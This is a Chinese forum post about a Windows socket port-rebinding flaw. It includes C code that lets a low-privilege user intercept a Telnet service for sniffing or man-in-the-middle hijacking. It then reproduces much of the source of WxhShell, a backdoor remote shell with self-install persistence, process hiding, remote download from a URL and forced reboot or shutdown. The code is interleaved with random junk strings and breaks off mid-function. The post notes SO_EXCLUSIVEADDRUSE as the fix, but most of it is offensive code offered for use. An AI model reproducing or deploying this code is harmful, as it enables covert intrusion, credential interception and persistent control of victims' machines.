社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15117阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2nv-/ %]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ynx.$$`$=  
iTpK:p X  
  saddr.sin_family = AF_INET; s]@k,%  
<uL0 M`u3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R)u ${  
4SGF8y@WU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ATq-&1hs  
f<K7m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j87IxB?o  
1v"r8=Wt  
  这意味着什么?意味着可以进行如下的攻击: M\w%c5  
R3!3TJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &-B&s.,kj  
P%^\<#Ya7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (.J8Q  
m=e#1Hs   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z<Y >phc  
63Dm{ 2i}F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *=~X1s  
lBcRt)_O7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H>Ws)aCq  
lk. ;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t^(#~hx  
1Yb9ILX[J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |@lVFEl]  
$"`9QD~  
  #include Mz:t[rfs  
  #include r\f|r$i  
  #include WC ZDS>  
  #include    uL[%R2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NX5NE2@^qH  
  int main() uom~, k$|  
  { iT}L9\  
  WORD wVersionRequested; ;x~[om21;  
  DWORD ret;  U<Z\jT[  
  WSADATA wsaData; HZ.Jc"+M  
  BOOL val; GK.U_`4?  
  SOCKADDR_IN saddr; 8~s-@3J  
  SOCKADDR_IN scaddr; AcCM W@e  
  int err; `h+1u`FJ  
  SOCKET s; nbM7 >tnsk  
  SOCKET sc; .}||!  
  int caddsize; RI2Or9.  
  HANDLE mt; @Tl!A1y?  
  DWORD tid;   D|BP]j}6  
  wVersionRequested = MAKEWORD( 2, 2 ); eVx &S a  
  err = WSAStartup( wVersionRequested, &wsaData ); #Ies yNKZ  
  if ( err != 0 ) { 9e xHR&>{  
  printf("error!WSAStartup failed!\n"); Hz] p]  
  return -1; /qalj\ud  
  } q7'[II;  
  saddr.sin_family = AF_INET; 0Fi&7%  
   D_MNF =7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O&c~7tM%  
$xsmF?Dsx5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QW_QizR>|  
  saddr.sin_port = htons(23); *E-VS= #  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K`d3p{M  
  { :.,3Zw{l  
  printf("error!socket failed!\n"); Hxm CKW!  
  return -1; YvP u%=eF  
  } gc6T`O-_;  
  val = TRUE; 0XNj! ^&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T2$V5RyX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hm5A@Z   
  { )xMP  
  printf("error!setsockopt failed!\n"); \jcEEIEi  
  return -1; b2vc  
  } /Vy8%   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .O+qtk!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]CIZF,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >&kb|)  
Pv(icf l|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :i24 @V~){  
  { Mi5"XQ>/  
  ret=GetLastError(); U2(|/M+  
  printf("error!bind failed!\n"); ,UD,)ZPf[  
  return -1; ecI[lB  
  } E*t0ia8  
  listen(s,2); &_!g|-  
  while(1) VC6S4FU4K  
  { @$(/6]4p  
  caddsize = sizeof(scaddr); uPtHCP6  
  //接受连接请求 sa71Vh{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &xwAE*}  
  if(sc!=INVALID_SOCKET) =k(~PB^>  
  { ;7]Q'N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u/h!i@_w[  
  if(mt==NULL) jKcnZu  
  { VK)K#!O8  
  printf("Thread Creat Failed!\n"); 5_mb+A n,  
  break; vKX $Nf  
  } wPl!}HNf  
  } Qs*6wF  
  CloseHandle(mt); M!s@w%0?'  
  } rl,6r u  
  closesocket(s);  :_qgpE<  
  WSACleanup(); ]o(&J7Z6-  
  return 0; AwKxt'()^  
  }   Czs4jHTa`  
  DWORD WINAPI ClientThread(LPVOID lpParam) 62Ab4!  
  { F<UEipe/N  
  SOCKET ss = (SOCKET)lpParam; 3ppY@_1  
  SOCKET sc; <p'~$vK  
  unsigned char buf[4096]; 9%?'[jJ  
  SOCKADDR_IN saddr; h69: Tj!  
  long num; f(O`t}Ed  
  DWORD val; @lau?@$ja  
  DWORD ret; hOX$|0i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1MV\ ^l_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _`JY A  
  saddr.sin_family = AF_INET; <h/\)bPB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m_TZY_;  
  saddr.sin_port = htons(23); jaAv_=93f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U/B1/96lJ  
  { d`| W6Do  
  printf("error!socket failed!\n"); %KeQp W  
  return -1;  +McKyEa  
  } 1 D fB9n  
  val = 100; P7I,xcOm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `ecuquX'  
  { 'U)|m  
  ret = GetLastError(); 3:rH1vG.m  
  return -1; >a]4}  
  } 1:%m >4U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <[^nD>t_  
  { yiUJ!m  
  ret = GetLastError(); >NN|vj  
  return -1; #4{f2s[j6  
  } (WK $ )f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [UI4YZu}  
  { `he{"0U~S  
  printf("error!socket connect failed!\n"); p;VqkSQ76  
  closesocket(sc); N,w;s-*  
  closesocket(ss); -;z&">  
  return -1; Q^v8n1  
  } x7J|  
  while(1) J ,fXXi)J  
  { y @AKb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S{Au%Rs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xXK7i\ny  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HnVUG4yZTD  
  num = recv(ss,buf,4096,0); EjB<`yT  
  if(num>0) n%Xw6qV:  
  send(sc,buf,num,0); =VlO53Hy{  
  else if(num==0) /|y3M/;F  
  break; &b}!KD1  
  num = recv(sc,buf,4096,0); |,]#vcJP#b  
  if(num>0) gU/\'~HG  
  send(ss,buf,num,0); V|{ )P@Q  
  else if(num==0) #kX=$Bzk  
  break; joifIp_  
  } Zg7~&vs$  
  closesocket(ss); xZS  
  closesocket(sc); : H<u@%  
  return 0 ; ?T5^hQT   
  } _f,q8ZkSr  
>ofS'mp  
:Qu!0tY  
========================================================== <W vuW6  
 "t8mQ;n  
下边附上一个代码,,WXhSHELL {!B0&x  
TUZ-4{kV"  
========================================================== -(>x@];r0  
##,i<  
#include "stdafx.h" 4aAr|!8|h!  
0i$jtCCL(  
#include <stdio.h> kT UQ8U  
#include <string.h> 9U58#  
#include <windows.h> /U)w:B+p/g  
#include <winsock2.h> K4xZT+Qb  
#include <winsvc.h> %yQ-~T@  
#include <urlmon.h> *ZGQ`#1.X6  
mCtuyGY  
#pragma comment (lib, "Ws2_32.lib") )xP]rOT  
#pragma comment (lib, "urlmon.lib") ~@z5Ld3xz  
@P"q`*  
#define MAX_USER   100 // 最大客户端连接数 )G ,LG0"-  
#define BUF_SOCK   200 // sock buffer Z8k O*LYv  
#define KEY_BUFF   255 // 输入 buffer QA.B.U7!  
bqf=;Nvog  
#define REBOOT     0   // 重启 X8bo?0  
#define SHUTDOWN   1   // 关机 ~m uVQ  
V:!fe+ Er  
#define DEF_PORT   5000 // 监听端口 Px=/fO G  
+F 6KGK[  
#define REG_LEN     16   // 注册表键长度 6%ID*  
#define SVC_LEN     80   // NT服务名长度 uGLVY%N  
HqOSQ<-Fo  
// 从dll定义API *ARro Ndr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U*k$pp6\b~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hS +;HB,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4cJ7.Pez  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VQ<Z`5eV  
guSgTUJ}  
// wxhshell配置信息 NEZF q?  
struct WSCFG { 1&QI1fvx  
  int ws_port;         // 监听端口 %9BC%w]y  
  char ws_passstr[REG_LEN]; // 口令 C-_u; NEu  
  int ws_autoins;       // 安装标记, 1=yes 0=no #B'WT{B$/~  
  char ws_regname[REG_LEN]; // 注册表键名 6! g3Juh  
  char ws_svcname[REG_LEN]; // 服务名 &66G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uz Z|w+3O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GWA_,/jS%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fylW)W4C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fdd3H[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]$nJn+85@b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s&y  
4_t aCK  
}; Z/;rM8[{&  
wC=IN   
// default Wxhshell configuration &.7\{q\(  
struct WSCFG wscfg={DEF_PORT, -mX _I{BJ  
    "xuhuanlingzhe", )l30~5u<J  
    1, f*5=,$0  
    "Wxhshell", uVu`TgbZ  
    "Wxhshell", ]pb;q(?^  
            "WxhShell Service", [rPW@|^5  
    "Wrsky Windows CmdShell Service", TmX~vZ  
    "Please Input Your Password: ", ,[Cl'B  
  1, [b;Oalw  
  "http://www.wrsky.com/wxhshell.exe", Ylt[Ks<2  
  "Wxhshell.exe" %F&j B  
    }; g:;v]   
S3qUzK  
// 消息定义模块 g"C$B Fc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r7ywK9UL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Di-"y,[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &R*d/~SU  
char *msg_ws_ext="\n\rExit."; NZeIqhj  
char *msg_ws_end="\n\rQuit."; }(M<sEK~  
char *msg_ws_boot="\n\rReboot..."; f^%vIB ~[  
char *msg_ws_poff="\n\rShutdown..."; %7 J  
char *msg_ws_down="\n\rSave to "; '` [nt25N  
fhfdNmtR)I  
char *msg_ws_err="\n\rErr!"; fU)hn  
char *msg_ws_ok="\n\rOK!"; Cn28&$:J  
L<8y5B~W  
char ExeFile[MAX_PATH]; [.<vISRir  
int nUser = 0; zy$hDy0  
HANDLE handles[MAX_USER]; )\VUAD%~e7  
int OsIsNt; wM!QU{Lz  
A| Y\Y}  
SERVICE_STATUS       serviceStatus; IUc!nxF#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3\mFK$#sr  
i,4JS,82I  
// 函数声明 @4$F%[g h  
int Install(void); G =< KAJ  
int Uninstall(void); SC|cCK hqi  
int DownloadFile(char *sURL, SOCKET wsh); Z[({; WtF  
int Boot(int flag); 7)_0jp~2  
void HideProc(void); }E/L:  
int GetOsVer(void); e@8I%%V,  
int Wxhshell(SOCKET wsl); },i?3dSvl  
void TalkWithClient(void *cs); sL&u%7>Re  
int CmdShell(SOCKET sock); ;xth#j  
int StartFromService(void); #v(+3Hp  
int StartWxhshell(LPSTR lpCmdLine); _|tg#i|Om  
$(zJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZibHT:n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qM1$?U  
&LL81u6=S  
// 数据结构和表定义 +p<Y)Z( >6  
SERVICE_TABLE_ENTRY DispatchTable[] = uft~+w P  
{ Xd|5{  
{wscfg.ws_svcname, NTServiceMain}, @KS:d\l}U  
{NULL, NULL} ;WGY)=-gv  
}; jsez$m%vs  
l0Pg`wH,  
// 自我安装 u:,B"!  
int Install(void) a~XNRAh  
{ :K8T\  
  char svExeFile[MAX_PATH]; Nr(WbD[T  
  HKEY key; ,#WXAA mm  
  strcpy(svExeFile,ExeFile); 3 !}'A  
#Wc)wL-Tg  
// 如果是win9x系统,修改注册表设为自启动 bJBx~  
if(!OsIsNt) { 3`e1:`Hu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^`dp!1.+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '!f5|l9SC  
  RegCloseKey(key); v"$; aJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &kO4^ A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xq)'p8C?  
  RegCloseKey(key); Nz:  
  return 0; mZM5aTQ3  
    } n.A  
  } /VJ@`]jhDf  
} `L;I/Hp  
else { 9L&AbmIr  
s{iYf :  
// 如果是NT以上系统,安装为系统服务 a[#4Oq/t$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f%@Y XGf  
if (schSCManager!=0) Nxt/R%(  
{ R jAeN#,?  
  SC_HANDLE schService = CreateService dR=SW0Oa{  
  ( ,2kWj7H%7  
  schSCManager, c"QH-sE  
  wscfg.ws_svcname, 9f"6Jw@F  
  wscfg.ws_svcdisp, j:sac*6m  
  SERVICE_ALL_ACCESS, nK96A.B%p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uox;PDK  
  SERVICE_AUTO_START, vF([mOZ  
  SERVICE_ERROR_NORMAL, 0cS.|\ZTA  
  svExeFile, `$#64UZ>U1  
  NULL, -#Wc@\;  
  NULL, K1+,y1c  
  NULL, m=}kGzIY4  
  NULL, @wa/p`gj5w  
  NULL km|~DkJ\a`  
  ); NKI&n]EO  
  if (schService!=0) z+\>e~U6J}  
  { ?ke C   
  CloseServiceHandle(schService); Nv ew^c)x  
  CloseServiceHandle(schSCManager); f9\7v_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E=x\f "Z  
  strcat(svExeFile,wscfg.ws_svcname); H+: $ 7;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5?I]\Tb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `/|=eQ")o@  
  RegCloseKey(key); bC@b9opD  
  return 0; {9=U6m^R2  
    } Tw`l4S&  
  } Hv IN'  
  CloseServiceHandle(schSCManager); 6>vj({,1Y*  
} 0<Pe~i_=  
} @?%"nK  
:#|77b0  
return 1; \NSwoP  
} ?=T&|pp  
j1d=$'a "  
// 自我卸载 $qEJO=v  
int Uninstall(void) -51L!x}1c  
{ iFDQnt [t  
  HKEY key; +ypT"y  
o1g[(zky  
if(!OsIsNt) { gT+/CVj R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +_ G'FD  
  RegDeleteValue(key,wscfg.ws_regname); `kz_ q/K  
  RegCloseKey(key); !nYAyjf   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @a3<fmJ  
  RegDeleteValue(key,wscfg.ws_regname); *Js<VR  
  RegCloseKey(key); 5_i&}c23Vn  
  return 0; 9c?izpA  
  } }Jtaq[y\r  
} `}=Fw0  
} U$J]^-AS  
else { Df4n9m}E  
{6AJ>}3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +?L~fM69B  
if (schSCManager!=0) K:{Q~+   
{ J7maG|S(DF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6D+k[oHZm  
  if (schService!=0) # K-Q/*  
  { r94BEC 2  
  if(DeleteService(schService)!=0) { cN :;ir  
  CloseServiceHandle(schService); ^KhFBed   
  CloseServiceHandle(schSCManager); Fb}9cpz{  
  return 0; '1{~y3  
  } ZcQm(my  
  CloseServiceHandle(schService); 0b|!S/*A3  
  } O4#zsr:"  
  CloseServiceHandle(schSCManager); 5 QT9  
} 8q0 .yhb  
} k+i=0 P0mf  
mPh;  
return 1; LnL<WI*Pq  
} fU8;CZnx  
m|y]j4  
// 从指定url下载文件 *X>rvAd3  
int DownloadFile(char *sURL, SOCKET wsh) [v&_MQ  
{ *%8us~w5/  
  HRESULT hr; 'nLv0.7*  
char seps[]= "/"; Ga h e-%J  
char *token; jBQQ?cA  
char *file; E }yxF .  
char myURL[MAX_PATH]; q\/|nZO4  
char myFILE[MAX_PATH]; 9QYU J  
$ OR>JnV  
strcpy(myURL,sURL); f9 rToH  
  token=strtok(myURL,seps); \\T I4A^#  
  while(token!=NULL) p 2i5/Ly  
  { OGVhb>LO1  
    file=token; T]myhNk  
  token=strtok(NULL,seps); o4J K$%  
  } %DN& K  
,=ICSS~9l  
GetCurrentDirectory(MAX_PATH,myFILE); Vz#cb5:g  
strcat(myFILE, "\\"); R'3i { 1  
strcat(myFILE, file); TwkzX|  
  send(wsh,myFILE,strlen(myFILE),0); 5_O.p3$tV  
send(wsh,"...",3,0); eu4x{NmQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GphG/C (  
  if(hr==S_OK) &sKYO<6K }  
return 0; '=ZE*nGC  
else v#X? KqD  
return 1; sM4wh_lO  
9}\T?6?8pX  
} BAPi<U'D  
"-Ns1A8  
// 系统电源模块 J>'o,"D  
int Boot(int flag) H Ow][}M_w  
{ [Cs2H8=#  
  HANDLE hToken; Md~mI8  
  TOKEN_PRIVILEGES tkp; UxW>hbzr&V  
r`krv-,O$  
  if(OsIsNt) { eMF%!qUr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ff,M ~zn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BBx"{~  
    tkp.PrivilegeCount = 1; IFE C_F>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x;SrJVDN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4*54"[9Hr#  
if(flag==REBOOT) { B|%;(bM2C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qle\c[UM5  
  return 0; @fY!@xSf  
} wS5hXTb"  
else { Soa.thP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *0iP*j/]  
  return 0;  qV}zV\Nz  
} _3E7|drIX  
  } $""[( d?0  
  else { 7!%cKZCY  
if(flag==REBOOT) { JvUKfsnu{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &x;nP6mV  
  return 0; ,Bta)  
} ZNUV Bi  
else { 0>'1|8+`(z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YcGqT2oLP  
  return 0; =thgNMDm"  
} tQ)8HVKF  
} e"b F"L  
^qDkSoqC"  
return 1; 5|Y4GQVz  
} _zOzHc?Q  
/Ly%-py-$  
// win9x进程隐藏模块 ctCfLlK  
void HideProc(void) )~5`A*Ku  
{ $DMeUA\av  
a"v D+r7Ol  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dFUsQ_]<  
  if ( hKernel != NULL ) IOJfv8  
  { s<5t}{x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6zDJdE'Es  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hVlL"w*1  
    FreeLibrary(hKernel); _W!g'HP-D  
  } qBpY3]/  
S<>e(x3g]  
return; bH= 5[  
} `$i`i'S  
(YR] X_  
// 获取操作系统版本 Mpj3<vj   
int GetOsVer(void) K.cNx  
{ <1@_MY o  
  OSVERSIONINFO winfo; :l6sESr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rdC(+2+Ay  
  GetVersionEx(&winfo); Q!"Li  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nc31X  
  return 1; :;JJvYIs  
  else +28FB[W  
  return 0; u54+oh|,M  
} $;@s  
l"MEX/   
// 客户端句柄模块 K=~h1qV:  
int Wxhshell(SOCKET wsl) w,l1&=d  
{ "'PDreS  
  SOCKET wsh; xLGAP-mx]  
  struct sockaddr_in client; P#yS]F/  
  DWORD myID; G U!XD!!&  
+J^}"dG  
  while(nUser<MAX_USER) } FFW,x  
{ R sujKh/  
  int nSize=sizeof(client); 7?A}q mv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3wr~P  
  if(wsh==INVALID_SOCKET) return 1; 8en85 pp8P  
 b'ew Od=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xF,J[Aj  
if(handles[nUser]==0) C ]#R7G  
  closesocket(wsh); ];< [Cln%  
else YZoH{p9f  
  nUser++; FV^kOz  
  }  e%qMrR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); doe[f_\  
bg$e80  
  return 0; ^&,{  
} XjX<?W  
E`'+1  
// 关闭 socket ucMl>G'!gX  
void CloseIt(SOCKET wsh) uxR_(~8  
{ e0hT  
closesocket(wsh); mG2}JWA  
nUser--; +)V6"XY-(  
ExitThread(0); 3w0m:~KS6V  
} G q:7d]c~T  
)`U T#5  
// 客户端请求句柄 pZWp2hj{X  
void TalkWithClient(void *cs) ."H5.'  
{ is`a_{5e=  
K|s+5>]W/[  
  SOCKET wsh=(SOCKET)cs; lxxK6;r~>  
  char pwd[SVC_LEN]; 'Oq}BVR&  
  char cmd[KEY_BUFF]; V^f'4*~'  
char chr[1]; 4BCZ~_  
int i,j; ,2]6cP(6qQ  
M"P$hb'F  
  while (nUser < MAX_USER) { -Y+[`0$'  
zL> nDnL 4  
if(wscfg.ws_passstr) { N/y.=]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jOe %_R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d$>1 2>>  
  //ZeroMemory(pwd,KEY_BUFF); [y:6vC   
      i=0; OCX?U50am  
  while(i<SVC_LEN) { $y`|zK|G-  
#_H=pNWe  
  // 设置超时 nhy3E  
  fd_set FdRead; 6%5A&&O(b  
  struct timeval TimeOut; @5kN L~2  
  FD_ZERO(&FdRead); '9b<r7\@  
  FD_SET(wsh,&FdRead); 3nG(z>  
  TimeOut.tv_sec=8; b9:E0/6   
  TimeOut.tv_usec=0; tnTr &o#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pl 5+Oo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gzuM>lf*{  
J|K~a?&vN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D@0eYX4s  
  pwd=chr[0]; JM M\  
  if(chr[0]==0xd || chr[0]==0xa) { VNMhtwmK,  
  pwd=0; jCy2bE  
  break; %5uuB4P&|$  
  } dz7*a {  
  i++; .kBAUkL:  
    } 7IFUsli]  
P+]39p{  
  // 如果是非法用户,关闭 socket #%x4^A9 q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6C   
} 3L#KHTM  
kWr*+3Xq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9m8`4%y=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (3 _2h4O  
E]+W^ VG  
while(1) { Ot(EDa9}IJ  
o{:D  
  ZeroMemory(cmd,KEY_BUFF); ,g/UPK8K=  
ku\_M  
      // 自动支持客户端 telnet标准   '1bdBx\<.  
  j=0; X3q'x}{  
  while(j<KEY_BUFF) { }G-qOt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); psYfz)1;  
  cmd[j]=chr[0]; rYc?y  
  if(chr[0]==0xa || chr[0]==0xd) { jd~r~.y  
  cmd[j]=0; o6svSS  
  break; U-|g tND  
  } <}B]f1zX  
  j++; t6j(9[gGq  
    } h NP|  
m,8A2;&,8  
  // 下载文件 WT!%FQ9  
  if(strstr(cmd,"http://")) { :p OX,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F!.@1Fi1  
  if(DownloadFile(cmd,wsh)) om@` NW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -V<i4X<|,+  
  else %*LdacjZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :y]l`Mo -  
  } _{-GR-  
  else { Q:tW LVE#0  
=<FFFoF*C_  
    switch(cmd[0]) { )%)?M *  
  Tqm9><!r  
  // 帮助 =#uXO<   
  case '?': { "j~=YW+l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9t;aJFI  
    break; rMLCt Gi  
  } CM7j^t  
  // 安装 `Ol*"F.+I  
  case 'i': { IDcu#Nz`  
    if(Install()) (swP#t5S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0*h\/!e  
    else _:=w6jCk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E7y<iaA{~  
    break; [NJ!  
    } E-&=I> B5  
  // 卸载  V18w  
  case 'r': { /&dC?bY  
    if(Uninstall()) <udp:s3#T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5>/,25 99  
    else 3wa }p^   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b8T'DY;~  
    break;  ~)WE  
    } <r9J+xh*p  
  // 显示 wxhshell 所在路径 %!x\|@C  
  case 'p': { DUY#RJf  
    char svExeFile[MAX_PATH]; !AP|ozkL  
    strcpy(svExeFile,"\n\r"); H@OYtPHGR  
      strcat(svExeFile,ExeFile); :m-HHWMN  
        send(wsh,svExeFile,strlen(svExeFile),0); 6ffrV  
    break; 2Xgn[oI{  
    } 5a-8/.}cP  
  // 重启 /ptIxe  
  case 'b': { i7*4hYY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^D/*Hp _  
    if(Boot(REBOOT)) 5GC{)#4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YAd.i@^  
    else { aS:17+!  
    closesocket(wsh); 82>zu}  
    ExitThread(0); ~pwp B2c  
